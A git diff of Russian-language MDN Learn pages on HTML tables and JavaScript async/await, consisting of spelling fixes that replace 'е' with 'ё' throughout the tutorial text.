      Примечание: Мы не ожидаем что сейчас вы полностью поймёте CSS. Вы узнаете больше когда пройдёте наши CSS курсы (например, Вступление в CSS это хорошее место для начала; у нас также есть статья конкретно о стилизации таблиц).

      Ваша готовая таблица должна выглядеть примерно так:

      @@ -284,7 +284,7 @@ tfoot {

      Таблицы для пользователей с ограниченными возможностями

      -

      Давайте кратко опишем как мы используем данные таблицы. Таблицы могут быть удобным инструментом, который дает нам быстрый доступ к данным и позволяет искать разные значения. Например, быстрого взгляда на таблицу ниже достаточно, чтобы найти сколько колец было продано в Амстердаме в августе 2016. Чтобы понять эту информацию, мы проводим визуальные ассоциации между данными в этой таблице и ее заголовками колонок и/или строк.

      +

      Давайте кратко опишем как мы используем данные таблицы. Таблицы могут быть удобным инструментом, который даёт нам быстрый доступ к данным и позволяет искать разные значения. Например, быстрого взгляда на таблицу ниже достаточно, чтобы найти сколько колец было продано в Амстердаме в августе 2016. Чтобы понять эту информацию, мы проводим визуальные ассоциации между данными в этой таблице и её заголовками колонок и/или строк.

      @@ -373,7 +373,7 @@ tfoot { </tr> </thead> -

      И у каждой строки может быть определен заголовок, как здесь (если мы добавили заголовки строк и заголовки столбцов):

      +

      И у каждой строки может быть определён заголовок, как здесь (если мы добавили заголовки строк и заголовки столбцов):

      <tr>
   <th scope="row">Haircut</th>
@@ -385,7 +385,7 @@ tfoot {
 
 
      Скринридер распознает разметку структурированную таким образом, что позволяют пользователям прочитать весь столбец или строку целиком.
      
 
-
      Атрибут scope имеет еще два возможных значения — colgroup и rowgroup. Они используются для заголовков, которые располагаются вверху ваших столбцов или строк. Если вы посмотрите на таблицу "Items sold..." в начале этого раздела статьи, вы увидите что ячейка с "Clothes" находится над ячейками "Trousers", "Skirts" и "Dresses". Все эти ячейки должны быть помечены как заголовки (<th>), но "Clothes"  заголовок который находится сверху и определяет остальные три подзаголовка. Поэтому "Clothes" должна получить атрибут scope="colgroup", тогда как другие получат атрибут scope="col".
      
+
      Атрибут scope имеет ещё два возможных значения — colgroup и rowgroup. Они используются для заголовков, которые располагаются вверху ваших столбцов или строк. Если вы посмотрите на таблицу "Items sold..." в начале этого раздела статьи, вы увидите что ячейка с "Clothes" находится над ячейками "Trousers", "Skirts" и "Dresses". Все эти ячейки должны быть помечены как заголовки (<th>), но "Clothes"  заголовок который находится сверху и определяет остальные три подзаголовка. Поэтому "Clothes" должна получить атрибут scope="colgroup", тогда как другие получат атрибут scope="col".
      
 
 
      Атрибуты id и headers
      
 
@@ -393,12 +393,12 @@ tfoot {
 
 
        
  
      1. Вы устанавливаете уникальный id для каждого<th> элемента.
        2. 
- 
      2. Вы устанавливаете атрибут headers для каждого <td> элемента. Каждый headers атрибут должен содержать список всех id , разделенный пробелами, ко всем <th> элементам которые действуют как заголовок для этой ячейки.
        3. 
+ 
      3. Вы устанавливаете атрибут headers для каждого <td> элемента. Каждый headers атрибут должен содержать список всех id , разделённый пробелами, ко всем <th> элементам которые действуют как заголовок для этой ячейки.
        4. 
 
      
 
 
      Это обеспечивает явное определение позиции для каждой ячейки вашей HTML таблицы, определяет заголовки столбцов и строк таблицы. Для того чтобы это работало реально хорошо таблице нужно определить и заголовки столбцов, и заголовки строк.
      
 
-
      Вернемся к нашему примеру с расчетом затрат, его можно переписать следующим образом:
      
+
      Вернёмся к нашему примеру с расчётом затрат, его можно переписать следующим образом:
      
 
 
      <thead>
   <tr>
@@ -440,7 +440,7 @@ tfoot {
 
 
      Заключение
      
 
-
      Есть еще некоторые вещи которые можно узнать о HTML таблицах, но мы действительно дали все что нужно на настоящий момент. Дальше вы возможно захотите больше узнать о стилизации HTML таблиц, посмотрите Styling Tables.
      
+
      Есть ещё некоторые вещи которые можно узнать о HTML таблицах, но мы действительно дали все что нужно на настоящий момент. Дальше вы возможно захотите больше узнать о стилизации HTML таблиц, посмотрите Styling Tables.
      
 
 
      {{PreviousMenuNext("Learn/HTML/Tables/Basics", "Learn/HTML/Tables/Structuring_planet_data", "Learn/HTML/Tables")}}
      
 
diff --git a/files/ru/learn/html/tables/basics/index.html b/files/ru/learn/html/tables/basics/index.html
index 15f766186a..08a1767593 100644
--- a/files/ru/learn/html/tables/basics/index.html
+++ b/files/ru/learn/html/tables/basics/index.html
@@ -30,7 +30,7 @@ translation_of: Learn/HTML/Tables/Basics
 
 
      A swimming timetable showing a sample data table
      
 
-
      Люди постоянно используют таблицы, причем уже давно, как показывает документ по переписи в США, относящийся к 1800 году:
      
+
      Люди постоянно используют таблицы, причём уже давно, как показывает документ по переписи в США, относящийся к 1800 году:
      
 
 
      A very old parchment document; the data is not easily readable, but it clearly shows a data table being used.
      
 
@@ -38,7 +38,7 @@ translation_of: Learn/HTML/Tables/Basics
 
 
      Как работает таблица?
      
 
-
      Смысл таблицы в том, что она жесткая. Информацию легко интерпретировать, визуально сопоставляя заголовки строк и столбцов. Например, посмотрите на приведенную ниже таблицу и найдите единственное личное местоимение, используемое в третьем лице , с полом ♀, выступающее в качестве объекта в предложении. Ответ можно найти, сопоставив соответствующие заголовки столбцов и строк.
      
+
      Смысл таблицы в том, что она жёсткая. Информацию легко интерпретировать, визуально сопоставляя заголовки строк и столбцов. Например, посмотрите на приведённую ниже таблицу и найдите единственное личное местоимение, используемое в третьем лице , с полом ♀, выступающее в качестве объекта в предложении. Ответ можно найти, сопоставив соответствующие заголовки столбцов и строк.
      Items Sold August 2016
      @@ -68,7 +68,7 @@ translation_of: Learn/HTML/Tables/Basics - + @@ -94,18 +94,18 @@ translation_of: Learn/HTML/Tables/Basics
      Personal pronouns
      ♀ онаеееё
      o
      -

      Если правильно представить таблицу HTML, интерпретировать ее данные смогут даже люди, имеющие проблемы со зрением.

      +

      Если правильно представить таблицу HTML, интерпретировать её данные смогут даже люди, имеющие проблемы со зрением.

      Оформление таблиц

      -

      Исходный код HTML (HTML source code) вышеприведенной таблице есть в GitHub; посмотрите его и живой пример (look at the live example)! Вы заметите, что таблица там выглядит иначе — это потому, что на сайте MDN к этим данным была применена таблица стилей, а приведенный в GitHub пример информации о стиле не имеет.

      +

      Исходный код HTML (HTML source code) вышеприведённой таблице есть в GitHub; посмотрите его и живой пример (look at the live example)! Вы заметите, что таблица там выглядит иначе — это потому, что на сайте MDN к этим данным была применена таблица стилей, а приведённый в GitHub пример информации о стиле не имеет.

      Не питайте ложных иллюзий - чтобы эффективно представлять таблицы в веб, необходимо придать им хорошую структуру в HTML и применить к ним таблицы стилей (CSS). В данном разделе мы сфокусируемся на HTML, чтобы узнать о том, что касается CSS, вам надо обратиться к статье Стилизация таблиц.

      В этом разделе мы не фокусируемся на CSS, но все же дали простейшую таблицу стилей CSS, чтобы сделать таблицы более читабельными. Эту таблицу стилей можно найти здесь, можно также использовать шаблон HTML, применяющий эту стаблицу стилей — вместе они дадут вам хорошую основу для экспериментов с таблицами HTML.

      -

      Примечание: Посмотрите также таблицу personal_pronouns с примененным к ней стилем, чтобы получить представление о том, как она выглядит.

      +

      Примечание: Посмотрите также таблицу personal_pronouns с применённым к ней стилем, чтобы получить представление о том, как она выглядит.

      Когда не надо использовать таблицы HTML?

      @@ -116,21 +116,21 @@ translation_of: Learn/HTML/Tables/Basics
      1. Таблицы, используемые для оформления, уменьшают доступность страниц для людей, имеющих проблемы со зрением: Скринридеры (Screenreaders), используемые ими, интерпретируют HTML-теги и читают содержимое пользователю. Поскольку таблицы не являются средством для представления структуры таблицы, и разметка получается сложнее, чем при использовании методов CSS, скринридеры вводят пользователей в заблуждение.
        2. -
      2. Таблицы создают путаницу тегов: Как уже упоминалось, оформление страниц с помощью таблиц дает более сложную структуру разметки, чем специально предназначенные для этого методы. Соответственно, такой код труднее писать, поддерживать и отлаживать.
        3. +
      3. Таблицы создают путаницу тегов: Как уже упоминалось, оформление страниц с помощью таблиц даёт более сложную структуру разметки, чем специально предназначенные для этого методы. Соответственно, такой код труднее писать, поддерживать и отлаживать.
      4. Таблицы не реагируют автоматически на тип устройства: У надлежащих контейнеров (например, {{htmlelement("header")}}, {{htmlelement("section")}}, {{htmlelement("article")}}, или {{htmlelement("div")}}) ширина по умолчанию равна 100% от их родительского элемента. У таблиц же размер по умолчанию подстраивается под их содержимое, так что чтобы они одинаково хорошо работали на разных типах устройств необходимо принимать дополнительные меры.

      Упражнение: Ваша первая таблица

      -

      Итак, мы уже достаточно говорили о теории, теперь возьмем конкретный пример и построим таблицу.

      +

      Итак, мы уже достаточно говорили о теории, теперь возьмём конкретный пример и построим таблицу.

      1. Прежде всего, создайте локальную копию blank-template.html и minimal-table.css в новой папке на вашем компьютере.
      2. Содержимое любой таблицы заключается между двумя тегами : <table></table>. Добавьте их в тело HTML.
        3. -
      3. Самым маленьким контейнером в таблице является ячейка, она создается элементом <td> ('td' - сокращение от 'table data'). Введите внутри тегов table следующее: +
      4. Самым маленьким контейнером в таблице является ячейка, она создаётся элементом <td> ('td' - сокращение от 'table data'). Введите внутри тегов table следующее: 
        <td>Hi, I'm your first cell.</td>
        5. -
      5. Чтобы получить строку из четырех ячеек, необходимо скопировать эти теги три раза. Обновите содержимое таблицы так, чтобы она выглядела следующим образом: +
      6. Чтобы получить строку из четырёх ячеек, необходимо скопировать эти теги три раза. Обновите содержимое таблицы так, чтобы она выглядела следующим образом: 
        <td>Hi, I'm your first cell.</td>
 <td>I'm your second cell.</td>
 <td>I'm your third cell.</td>
@@ -138,7 +138,7 @@ translation_of: Learn/HTML/Tables/Basics
      -

      Как видите, ячейки не располагаются одна под другой, на самом деле они автоматически выравниваются по отношению к другим ячейкам той же строки. Каждый элемент <td> создает отдельную ячейку, а все вместе они создают первую строку. Каждая добавленная ячейка удлиняет эту строку.

      +

      Как видите, ячейки не располагаются одна под другой, на самом деле они автоматически выравниваются по отношению к другим ячейкам той же строки. Каждый элемент <td> создаёт отдельную ячейку, а все вместе они создают первую строку. Каждая добавленная ячейка удлиняет эту строку.

      Чтобы эта строка перестала расти, а новые ячейки перешли на вторую строку, необходимо использовать элемент <tr> ('tr' - сокращение от 'table row'). Попробуем, как это получится.

      @@ -152,7 +152,7 @@ translation_of: Learn/HTML/Tables/Basics <td>I'm your fourth cell.</td> </tr> -
    • Теперь, когда одна строка уже есть, добавим еще — каждую строку надо вложить в дополнительный элемент <tr>, а каждая ячейка должна быть внутри элемента <td>.
      • +
    • Теперь, когда одна строка уже есть, добавим ещё — каждую строку надо вложить в дополнительный элемент <tr>, а каждая ячейка должна быть внутри элемента <td>.

      • В результате получится таблица, которая будет выглядеть примерно так:

      @@ -180,7 +180,7 @@ translation_of: Learn/HTML/Tables/Basics

      Добавление заголовков с помощью элементов <th>

      -

      Теперь обратимся к табличным заголовкам — особым ячейкам, которые идут вначале строки или столбца и определяют тип данных, которые содержит данная строка или столбец (как "Person" и "Age" в первом примере данной статьи). Чтобы показать, для чего они нужны, возьмем следующий пример. Сначала исходный код:

      +

      Теперь обратимся к табличным заголовкам — особым ячейкам, которые идут вначале строки или столбца и определяют тип данных, которые содержит данная строка или столбец (как "Person" и "Age" в первом примере данной статьи). Чтобы показать, для чего они нужны, возьмём следующий пример. Сначала исходный код:

      <table>
   <tr>
@@ -262,7 +262,7 @@ translation_of: Learn/HTML/Tables/Basics
  
 
 
-
      Проблема в том, что, хотя вы и можете представить, о чем идет речь, ссылаться на эти данные не так легко, как хотелось бы. Лучше, чтобы строка и столбец с заголовками как-то выделялись.
      
+
      Проблема в том, что, хотя вы и можете представить, о чем идёт речь, ссылаться на эти данные не так легко, как хотелось бы. Лучше, чтобы строка и столбец с заголовками как-то выделялись.
      
 
 
      Упражнение: заголовки
      
 
@@ -270,7 +270,7 @@ translation_of: Learn/HTML/Tables/Basics
 
 
        
  
      1. Сначала создайте локальную копию dogs-table.html и minimal-table.css в новой папке на вашем компьютере. HTML содержит пример Dogs, который вы уже видели выше.
        2. 
- 
      2. Чтобы опознавать заголовки таблицы в качестве заголовков, визуально и семантически, можно использовать элемент <th> ('th' сокращение от 'table header'). Он работает в точности как <td>, за исключением того, что обозначает заголовок, а не обычную ячейку. Замените в своем HTML все элементы <td>, содержащие заголовки, на элементы <th>.
        3. 
+ 
      3. Чтобы опознавать заголовки таблицы в качестве заголовков, визуально и семантически, можно использовать элемент <th> ('th' сокращение от 'table header'). Он работает в точности как <td>, за исключением того, что обозначает заголовок, а не обычную ячейку. Замените в своём HTML все элементы <td>, содержащие заголовки, на элементы <th>.
        4. 
  
      4. Сохраните HTML и загрузите его в браузер, и вы увидите, что заголовки теперь выглядят как заголовки.
        5. 
 
      
 
@@ -283,14 +283,14 @@ translation_of: Learn/HTML/Tables/Basics
 
      Мы уже частично ответили на этот вопрос — когда заголовки выделяются, легче искать данные и таблица выглядит лучше.
      
 
 
      
-
      Примечание: По умолчанию к заголовкам таблицы применяется определенный стиль — они выделены жирным шрифтом и выровнены по центру, даже если вы не задавали для них стиль специально.
      
+
      Примечание: По умолчанию к заголовкам таблицы применяется определённый стиль — они выделены жирным шрифтом и выровнены по центру, даже если вы не задавали для них стиль специально.
      
 
      
 
 
      Заголовки дают дополнительное преимущество — вместе с атрибутом scope (который мы будем изучать в следующей статье) они помогают улучшить связь каждого заголовка со всеми данными строки или столбца одновременно, что довольно полезно
      
 
 
      Слияние нескольких строк или столбцов
      
 
-
      Иногда нам нужно, чтобы ячейки распространялись на несколько строк или столбцов. Возьмем простой пример, в котором приведены имена животных. Иногда бывает нужно вывести имена людей рядом с именами животных. А иногда это не требуется, и тогда мы хотим, чтобы имя животного занимало всю ширину.
      
+
      Иногда нам нужно, чтобы ячейки распространялись на несколько строк или столбцов. Возьмём простой пример, в котором приведены имена животных. Иногда бывает нужно вывести имена людей рядом с именами животных. А иногда это не требуется, и тогда мы хотим, чтобы имя животного занимало всю ширину.
      
 
 
      Исходная разметка выглядит так:
      
 
@@ -372,7 +372,7 @@ translation_of: Learn/HTML/Tables/Basics
 
 
      И последняя возможность, о которой рассказывается в данной статье. HTML позволяет указать, какой стиль нужно применять к целому столбцу данных сразу — для этого применяют элементы  <col> и <colgroup>. Их ввели, поскольку задавать стиль для каждой ячейки в отдельности или использовать сложный селектор вроде {{cssxref(":nth-child()")}} было бы слишком утомительно.
      
 
-
      Возьмем простой пример:
      
+
      Возьмём простой пример:
      
 
 
      <table>
   <tr>
@@ -389,7 +389,7 @@ translation_of: Learn/HTML/Tables/Basics
   </tr>
 </table>
      
 
-
      Что дает нам:
      
+
      Что даёт нам:
      
 
 
@@ -408,7 +408,7 @@ translation_of: Learn/HTML/Tables/Basics
  
      
  
 
      
 
-
      Он не идеален, поскольку нам пришлось повторить информацию о стиле для всех трех ячеек в столбце (в реальном проекте, возможно, придется вводить class на всех трех и вводит правило в таблице стилей). Вместо этого, мы можем задать информацию один раз, в элементе <col>. Элемент <col> задается в контейнере <colgroup> сразу же за открывающим тегом <table>. Эффект, который мы видели выше, можно задать так:
      
+
      Он не идеален, поскольку нам пришлось повторить информацию о стиле для всех трёх ячеек в столбце (в реальном проекте, возможно, придётся вводить class на всех трёх и вводит правило в таблице стилей). Вместо этого, мы можем задать информацию один раз, в элементе <col>. Элемент <col> задаётся в контейнере <colgroup> сразу же за открывающим тегом <table>. Эффект, который мы видели выше, можно задать так:
      
 
 
      <table>
   <colgroup>
@@ -429,7 +429,7 @@ translation_of: Learn/HTML/Tables/Basics
   </tr>
 </table>
      
 
-
      Мы определяем два "стилизующих столбца". Мы не применяем стиль к первому столбцу, но пустой элемент <col> ввести необходимо — иначе к первому столбцу не будет применен стиль.
      
+
      Мы определяем два "стилизующих столбца". Мы не применяем стиль к первому столбцу, но пустой элемент <col> ввести необходимо — иначе к первому столбцу не будет применён стиль.
      
 
 
      Если бы мы хотели применить информацию о стиле к обоим столбцам, мы могли бы просто ввести один элемент <col> с атрибутом span, таким образом:
      
 
@@ -515,9 +515,9 @@ translation_of: Learn/HTML/Tables/Basics
  
    • Добавьте элемент <colgroup> вверху таблицы, сразу же под тегом <table>, куда вы сможете вставлять элементы <col>.
      • 
  
    • Первые два столбца надо оставить без стиля..
      • 
  
    • Добавьте цвет фона для третьего столбца. Значением атрибута style будет  background-color:#97DB9A;
      • 
- 
    • Задайте ширину для четвертого столбца. Значением атрибута style будет width: 42px;
      • 
+ 
    • Задайте ширину для четвёртого столбца. Значением атрибута style будет width: 42px;
      • 
  
    • Добавьте цвет фона для пятого столбца. Значением атрибута style будет background-color: #97DB9A;
      • 
- 
    • Добавьте другой цвет фона и границу для шестого столбца, чтобы показать, что это особый день и она ведет новый класс. Значениями атрибута style будут: background-color:#DCC48E; border:4px solid #C1437A;
      • 
+ 
    • Добавьте другой цвет фона и границу для шестого столбца, чтобы показать, что это особый день и она ведёт новый класс. Значениями атрибута style будут: background-color:#DCC48E; border:4px solid #C1437A;
      • 
  
    • Последние два дня выходные; значением атрибута style будет width: 42px;
      • 
 
 
diff --git a/files/ru/learn/html/tables/index.html b/files/ru/learn/html/tables/index.html
index 609f1b36fe..3f3d4e5cb8 100644
--- a/files/ru/learn/html/tables/index.html
+++ b/files/ru/learn/html/tables/index.html
@@ -5,7 +5,7 @@ translation_of: Learn/HTML/Tables
 ---
 
      {{LearnSidebar}}
      
 
-
      Структурирование табличных данных является в HTML самой обычной задачей, для этой цели есть множество элементов и атрибутов. С добавлением таблиц стилей (CSS) HTML с легкостью позволяет выводить в веб различные таблицы, например, расписание школьных уроков, график посещения бассейна, или статистические данные о ваших любимых динозаврах или футбольных командах. В данном разделе вы узнаете все, что вам потребуется для структурирования табличных данных с помощью HTML.
      
+
      Структурирование табличных данных является в HTML самой обычной задачей, для этой цели есть множество элементов и атрибутов. С добавлением таблиц стилей (CSS) HTML с лёгкостью позволяет выводить в веб различные таблицы, например, расписание школьных уроков, график посещения бассейна, или статистические данные о ваших любимых динозаврах или футбольных командах. В данном разделе вы узнаете все, что вам потребуется для структурирования табличных данных с помощью HTML.
      
 
 
      Необходимые условия
      
 
diff --git a/files/ru/learn/html/tables/structuring_planet_data/index.html b/files/ru/learn/html/tables/structuring_planet_data/index.html
index 85c3d9dc91..78c6a63a01 100644
--- a/files/ru/learn/html/tables/structuring_planet_data/index.html
+++ b/files/ru/learn/html/tables/structuring_planet_data/index.html
@@ -36,7 +36,7 @@ translation_of: Learn/HTML/Tables/Structuring_planet_data
 
 
      Краткое описание проекта
      
 
-
      Вы работаете в школе. В настоящее время ваши ученики изучают планеты солнечной системы, и вы хотите обеспечить их наглядным пособием для поиска фактов и данных о планетах. Таблица HTML была бы идеальным вариантом — вам необходимо взять необработанные данные, которые у вас есть, и превратить их в таблицу, следуя нижеприведенным инструкциям.
      
+
      Вы работаете в школе. В настоящее время ваши ученики изучают планеты солнечной системы, и вы хотите обеспечить их наглядным пособием для поиска фактов и данных о планетах. Таблица HTML была бы идеальным вариантом — вам необходимо взять необработанные данные, которые у вас есть, и превратить их в таблицу, следуя нижеприведённым инструкциям.
      
 
 
      Готовая таблица должна выглядеть так:
      
 
@@ -49,16 +49,16 @@ translation_of: Learn/HTML/Tables/Structuring_planet_data
 
 
      Шаги для завершения
      
 
-
      Следующие шаги описывают что вам нужно сделать, чтобы завершить пример таблицы. Все данные, что вам нужны находятся в файле planets-data.txt. Если у вас возникли проблемы с визуализацией данных, посмотрите приведенный выше пример или попробуйте нарисовать диаграмму.
      
+
      Следующие шаги описывают что вам нужно сделать, чтобы завершить пример таблицы. Все данные, что вам нужны находятся в файле planets-data.txt. Если у вас возникли проблемы с визуализацией данных, посмотрите приведённый выше пример или попробуйте нарисовать диаграмму.
      
 
 
        
  
      1. Откройте вашу копию blank-template.html , и запустите таблицу, предоставив ей внешний контейнер, заголовок и тело таблицы. Вам не нужен нижний колонтитул (footer) для этого примера.
        2. 
  
      2. Добавьте предоставленную подпись к вашей таблице ("Caption" в конце planets-data.txt).
        3. 
  
      3. Добавьте строку в заголовок таблицы, содержащую все заголовки столбцов.
        4. 
  
      4. Создайте все строки содержимого внутри тела таблицы, помня, что все заголовки строк должны быть семантически.
        5. 
- 
      5. Убедитесь, что весь контент помещен в нужные ячейки - в исходных данных каждая строка данных о планете отображается рядом со связанной с ней планетой.
        6. 
+ 
      6. Убедитесь, что весь контент помещён в нужные ячейки - в исходных данных каждая строка данных о планете отображается рядом со связанной с ней планетой.
        7. 
  
      7. Добавьте атрибуты, чтобы заголовки строк и столбцов были однозначно связаны со строками, столбцами или группами строк, для которых они выступают в качестве заголовков.
        8. 
- 
      8. Добавьте черную рамку вокруг столбца, который содержит все заголовки строк с именами планет.
        9. 
+ 
      9. Добавьте чёрную рамку вокруг столбца, который содержит все заголовки строк с именами планет.
        10. 
 
      
 
 
      Подсказки и советы
      
diff --git a/files/ru/learn/index.html b/files/ru/learn/index.html
index 58282e7a14..521272d551 100644
--- a/files/ru/learn/index.html
+++ b/files/ru/learn/index.html
@@ -72,7 +72,7 @@ translation_of: Learn
  
      Производительность веб-приложений: делаем сайты быстрыми и отзывчивыми 
      
  
      Веб-производительность — это искусство обеспечения быстрой загрузки веб-приложений и их реагирования на действия пользователя, независимо от скорости соединения пользователя, размера экрана, сети или возможностей устройства.
      
  
      Инструменты и тестирование
      
- 
      В этой теме рассматриваются инструменты, которые разработчики используют для оптимизации своей работы, например: инструменты для кросс-браузерного тестирования, линтеры, средства форматирования, инструменты преобразования, системы контроля версий, инструменты развертывания и клиентские JavaScript-фреймворки.
      
+ 
      В этой теме рассматриваются инструменты, которые разработчики используют для оптимизации своей работы, например: инструменты для кросс-браузерного тестирования, линтеры, средства форматирования, инструменты преобразования, системы контроля версий, инструменты развёртывания и клиентские JavaScript-фреймворки.
      
  
      Серверное программирование веб-сайтов
      
  
      Даже если вы преимущественно интересуетесь фронтенд-разработкой, всё равно полезно знать, как работают серверы и функции, написанные на серверном коде. В этой теме представлены общие сведения о том, как работает серверная часть, и подробные руководства по созданию серверного приложения с использованием двух популярных фреймворков: Django (Python) и Express (Node.js).
      diff --git a/files/ru/learn/javascript/asynchronous/async_await/index.html b/files/ru/learn/javascript/asynchronous/async_await/index.html index bef0f49847..4c0c08ae33 100644 --- a/files/ru/learn/javascript/asynchronous/async_await/index.html +++ b/files/ru/learn/javascript/asynchronous/async_await/index.html @@ -11,7 +11,7 @@ translation_of: Learn/JavaScript/Asynchronous/Async_await
      {{PreviousMenuNext("Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous/Choosing_the_right_approach", "Learn/JavaScript/Asynchronous")}}
      -

      В ECMAScript версии 2017 появились async functions и ключевое слово await (ECMAScript Next support in Mozilla). По существу, такие функции есть синтаксический сахар над Promises и Generator functions (ts39). С их помощью легче писать/читать асинхронный код, ведь они позволяют использовать привычный синхронный стиль написания. В этой статье мы на базовом уровне разберемся в их устройстве.

      +

      В ECMAScript версии 2017 появились async functions и ключевое слово await (ECMAScript Next support in Mozilla). По существу, такие функции есть синтаксический сахар над Promises и Generator functions (ts39). С их помощью легче писать/читать асинхронный код, ведь они позволяют использовать привычный синхронный стиль написания. В этой статье мы на базовом уровне разберёмся в их устройстве.

      @@ -41,7 +41,7 @@ hello();

      Функция возвращает "Hello" — ничего необычного, верно ?

      -

      Но что если мы сделаем ее асинхронной ? Проверим:

      +

      Но что если мы сделаем её асинхронной ? Проверим:

      async function hello() { return "Hello" };
 hello();
      @@ -63,16 +63,16 @@ hello();
      hello().then((value) => console.log(value))
      -

      или еще короче

      +

      или ещё короче

      hello().then(console.log)
      -

      Итак, ключевое слово async, превращает обычную функцию в асинхронную и результат вызова функции оборачивает в Promise. Также асинхронная функция позволяет использовать в своем теле ключевое слово await, о котором далее.

      +

      Итак, ключевое слово async, превращает обычную функцию в асинхронную и результат вызова функции оборачивает в Promise. Также асинхронная функция позволяет использовать в своём теле ключевое слово await, о котором далее.

      Ключевое слово await

      -

      Асинхронные функции становятся по настоящему мощными, когда вы используете ключевое слово await  — по факту, await работает только в асинхронных функциях. Мы можем использовать await перед promise-based функцией, чтобы остановить поток выполнения и дождаться результата ее выполнения (результат Promise). В то же время, остальной код нашего приложения не блокируется и продолжает работать.

      +

      Асинхронные функции становятся по настоящему мощными, когда вы используете ключевое слово await  — по факту, await работает только в асинхронных функциях. Мы можем использовать await перед promise-based функцией, чтобы остановить поток выполнения и дождаться результата её выполнения (результат Promise). В то же время, остальной код нашего приложения не блокируется и продолжает работать.

      Вы можете использовать await перед любой функцией, что возвращает Promise, включая Browser API функции.

      @@ -84,7 +84,7 @@ hello(); hello().then(alert); -

      Конечно, на практике код выше бесполезен, но в учебных целях он иллюстрирует синтаксис асинхронных функций. Теперь давайте перейдем к реальным примерам.

      +

      Конечно, на практике код выше бесполезен, но в учебных целях он иллюстрирует синтаксис асинхронных функций. Теперь давайте перейдём к реальным примерам.

      Переписываем Promises с использованием async/await

      @@ -154,7 +154,7 @@ myFetch().then((blob) => {

      Минуточку, а как это все работает ?

      -

      Вы могли заметить, что мы обернули наш код в функцию и сделали ее асинхронной с помощью acync. Это было обязательно - нам надо создать контейнер, внутри которого будет запускаться асинхронный код и будет возможность дождаться его результата с помощью await, не блокируя остальной код нашего скрипта.

      +

      Вы могли заметить, что мы обернули наш код в функцию и сделали её асинхронной с помощью acync. Это было обязательно - нам надо создать контейнер, внутри которого будет запускаться асинхронный код и будет возможность дождаться его результата с помощью await, не блокируя остальной код нашего скрипта.

      Внутри myFetch() находится код, который слегка напоминает версию на Promise, но есть важные отличия. Вместо того, чтобы писать цепочку блоков .then() мы просто использует ключевое слово await перед вызовом promise-based функции и присваиваем результат в переменную. Ключевое слово await говорит JavaScript runtime приостановить код в этой строке, не блокируя остальной код скрипта за пределами асинхронной функции. Когда вызов promise-based функции будет готов вернуть результат, выполнение продолжится с этой строки дальше.

      @@ -162,7 +162,7 @@ myFetch().then((blob) => { 

      let response = await fetch('coffee.jpg');
      -

      Значение Promise, которое вернет fetch() будет присвоено переменной response только тогда, когда оно будет доступно - парсер делает паузу на данной строке дожидаясь этого момента. Как только значение доступно, парсер переходит к следующей строке, в которой создается объект Blob из результата Promise. В этой строке, кстати, также используется await, потому что метод .blob() также возвращает Promise. Когда результат готов, мы возвращаем его наружу из myFetch().

      +

      Значение Promise, которое вернёт fetch() будет присвоено переменной response только тогда, когда оно будет доступно - парсер делает паузу на данной строке дожидаясь этого момента. Как только значение доступно, парсер переходит к следующей строке, в которой создаётся объект Blob из результата Promise. В этой строке, кстати, также используется await, потому что метод .blob() также возвращает Promise. Когда результат готов, мы возвращаем его наружу из myFetch().

      Обратите внимание, когда мы вызываем myFetch(), она возвращает Promise, поэтому мы можем вызвать .then() на результате, чтобы отобразить его на экране.

      @@ -173,7 +173,7 @@ myFetch().then((blob) => {


      Чтобы обработать ошибки у нас есть несколько вариантов

      -

      Мы можем использовать синхронную try...catch структуру с async/await. Вот измененная версия первого примера выше:

      +

      Мы можем использовать синхронную try...catch структуру с async/await. Вот изменённая версия первого примера выше:

      async function myFetch() {
   try {
@@ -195,7 +195,7 @@ myFetch().then((blob) => {
 
 myFetch();
      -

      В блок catch() {} передается объект ошибки, который мы назвали e; мы можем вывести его в консоль, чтобы посмотреть детали: где и почему возникла ошибка.

      +

      В блок catch() {} передаётся объект ошибки, который мы назвали e; мы можем вывести его в консоль, чтобы посмотреть детали: где и почему возникла ошибка.

      Если вы хотите использовать гибридный подходы (пример выше), лучше использовать блок .catch() после блока .then() вот так:

      @@ -229,7 +229,7 @@ myFetch().then((blob) => {

      Await и Promise.all()

      -

      Как вы помните, асинхронные функции построены поверх promises, поэтому они совместимы со всеми возможностями последних. Мы легко можем подождать выполнение Promise.all(), присвоить результат в переменную и все это сделать используя синхронный стиль. Опять, вернемся к примеру, рассмотренному в предыдущей статье. Откройте пример в соседней вкладке, чтобы лучше понять разницу.

      +

      Как вы помните, асинхронные функции построены поверх promises, поэтому они совместимы со всеми возможностями последних. Мы легко можем подождать выполнение Promise.all(), присвоить результат в переменную и все это сделать используя синхронный стиль. Опять, вернёмся к примеру, рассмотренному в предыдущей статье. Откройте пример в соседней вкладке, чтобы лучше понять разницу.

      Версия с async/await (смотрите live demo и source code), сейчас выглядит так:

      @@ -284,9 +284,9 @@ displayContent() 
      let values = await Promise.all([coffee, tea, description]);
      -

      С помощью await мы ждем массив результатов всех трех Promises и присваиваем его в переменную values. Это асинхронный код, но он написан в синхронном стиле, за счет чего он гораздо читабельнее.
      +

      С помощью await мы ждём массив результатов всех трёх Promises и присваиваем его в переменную values. Это асинхронный код, но он написан в синхронном стиле, за счёт чего он гораздо читабельнее.

      - Мы должны обернуть весь код в синхронную функцию, displayContent(), и мы не сильно сэкономили на количестве кода, но мы извлекли код блока .then(), за счет чего наш код стал гораздо чище.

      + Мы должны обернуть весь код в синхронную функцию, displayContent(), и мы не сильно сэкономили на количестве кода, но мы извлекли код блока .then(), за счёт чего наш код стал гораздо чище.

      Для обработки ошибок мы добавили блок .catch() для функции displayContent(); Это позволило нам отловить ошибки в обоих функциях.

      @@ -300,7 +300,7 @@ displayContent()

      Async/await позволяет вам писать код в синхронном стиле. Ключевое слово await блокирует приостанавливает выполнение ptomise-based функции до того момента, пока promise примет статус fulfilled. Это не блокирует код за пределами вашей асинхронной функции, тем не менее важно помнить, что внутри асинхронной функции поток выполнения блокируется.

      - Ваш код может стать медленнее за счет большого количества awaited promises, которые идут один за другим. Каждый await должен дождаться выполнения предыдущего, тогда как на самом деле мы хотим, чтобы наши Promises выполнялись одновременно, как если бы мы не использовали async/await.
      + Ваш код может стать медленнее за счёт большого количества awaited promises, которые идут один за другим. Каждый await должен дождаться выполнения предыдущего, тогда как на самом деле мы хотим, чтобы наши Promises выполнялись одновременно, как если бы мы не использовали async/await.

      Есть подход, который позволяет обойти эту проблему - сохранить все выполняющиеся Promises в переменные, а уже после этого дожидаться (awaiting) их результата. Давайте посмотрим на несколько примеров.

